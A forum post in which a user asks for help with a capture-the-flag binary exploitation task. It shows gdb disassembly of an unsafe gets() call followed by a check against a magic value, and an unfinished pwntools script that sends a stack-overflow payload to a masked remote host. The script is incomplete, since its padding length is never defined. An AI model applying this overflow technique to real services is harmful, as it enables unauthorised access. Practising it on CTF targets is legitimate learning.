Jump to content

Recommended Posts

Hello i've a problem to solve, a binary exploitation

this is my output gdb

0x004008a6 <+301>: lea eax,[ebp-0x3b]
0x004008a9 <+304>: push eax
0x004008aa <+305>: call 0x400520 <gets@plt>
0x004008af <+310>: add esp,0x10
0x004008b2 <+313>: cmp DWORD PTR [ebp-0x10],0xdea110c8
0x004008b9 <+320>: jne 0x4008c2 <main+329>
0x004008bb <+322>: call 0x4006fd <print_flag>
0x004008c0 <+327>: jmp 0x4008d4 <main+347>

 

this is my program in python

 

from pwn import *



r = remote("***************.com", 4321)
payload = "A"*i + "\xc8\x10\xa1\xde"
r.send("Sir Lancelot of Camelot\n")

print r.recv(4096)

r.send("To seek the Holy Grail.\n")

print r.recv(4096)


r.send(payload)

print r.recv(4096)

My goal is to jump the comparaison to access the function witch print the flag

some advise or help are welcome

thanks

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...